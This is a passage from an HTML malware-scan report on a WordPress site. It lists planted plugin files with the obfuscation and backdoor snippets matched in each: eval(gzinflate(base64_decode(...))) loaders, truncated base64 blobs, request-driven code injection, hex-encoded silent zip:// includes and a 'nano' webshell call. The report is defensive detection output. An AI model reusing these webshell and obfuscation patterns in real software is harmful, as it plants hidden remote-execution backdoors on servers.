</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_325").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/slider_1769473513/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:35</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:35</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_326" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_326").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/slider_1769473513/libs/UserAgent/search_template_1769473513.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:35</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:35</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_327" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_327").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/lib/vc_chart/vc_chart/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_328" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gm8wkP/IOiA+tDerh0xtKJlUGPkp7rgxs3u/xBq7obv8yFG+0HBca3gb9jtfxyTDOnvcwx7/Uxnrtnpyjo51afA6cx746FtEM+51XO8+z29972ehb8yFvd3HnO2nPe0DKWg714NR+6jXl88p2fMTKRs92oM1/6tu4/3Xs90F39NndjSArhNjRph5S+rmZyJ8m5T/b/aU6nXt+BoA2jKFR0rZlxLdD2LAA4NRvgCjyq2cwESftfDpOrH36pKpncfgMHPnJUBuL3A6c4CLhYEpODDkBGmMUkssPiX1hxpbJEfFGXepx7LHvjxOgH7KJEJLEjvYkHugudWH/bKVkdwbf9bHkpLaO3srf46KfOaVtatGVWaigbx6N5i1tdlZ/TD95L2vzz+cnb82pH2r9Q6AvgUtGEdVFxWvvHnWVrA4v2pSMx7Ssf7mmv/mouv+/dhmt2J0fBZVjqIAB4x2viBgKtjr2zCmZmxjx9KeOvcI86iHWj65VFd...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$IPl</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_328").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/lib/vc_chart/vc_chart/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.08 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:46</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_329" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$rAWoEQNPUKUBNxn</span><span style="color: #007700">[</span><span style="color: #0000BB">38</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_329").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/lib/prettyphoto/images/prettyPhoto/dark_square/dark_square/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 377.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_330" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$pyWb</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x66\x6c\x76\x5f\x36\x39\x37\x38\x37\x31\x61\x31\x32\x39\x32\x65\x66\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x61\x31\x32\x39\x32\x65\x66\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_330").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/lib/prettyphoto/images/prettyPhoto/dark_square/dark_square/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_331" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$pyWb</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_331").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/less/config/config/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 373.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_332" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$na</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x34\x76\x5f\x36\x39\x37\x38\x37\x31\x38\x63\x33\x36\x37\x32\x62\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x38\x63\x33\x36\x37\x32\x62\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_332").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/assets/less/config/config/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 418.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_333" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$na</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$na</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$na</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_333").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/include/classes/shortcodes/vc-column.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 8.88 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_334" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 67</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$control_var</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_334").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/include/classes/shortcodes/vc-row.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 8.55 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_335" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 87</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$control_var</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_335").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/js_composer/include/params/textarea_html/textarea_html/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_336" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'liTCYAwfFHRA+2Bv1Q64WhkSCjXy25lwd+L3+4o1f92LP8C998hHnWs3t/hmvc4TDjrXO6kDfqw744NV9givr+1YVHqVbyclg7PP5473e8+O42jVoGvc+b39xZi95jH9gqN6nFnpy3U8qmvP18jZSJiN3Etp+Vv1F//+i3vO4sv5sbciYNkpMIFsXwH1MTOh3Ofaf7fjC98q1PIlwcUpSQvWlHrgtbvAEzTC+CJWFVhpALuea/Oz9VVl7lm0ey5hyPwMmTFKvN2IbjLcEiZk6OIAGZUCfS2S4Q8JWOOZLnwzw66PMcf54fMWBeYXJ/Apha0Fj+4F0tza4dbpisLe7nf7gOdezbmd9BX74zRrsVrVoyezEsTWuDfMu1rM7fSoPf5+dc2nbdzXP9Sv2Cpz8CSlaQ8FVFXN+ecqVvGQ/YroxFjLxDhX5s2ri72q/3P62ang/FkVNpmgEgDJ3JGgq1CKaPL4mYGfG1j45++B3oD+YOmXXe4...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$mtE</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_336").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/analytics_1769473302/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:22:04</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:22:04</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_337" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_337").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/analytics_1769473302/libs/custom-file-3-1769473302.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:22:04</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:22:04</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_338" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
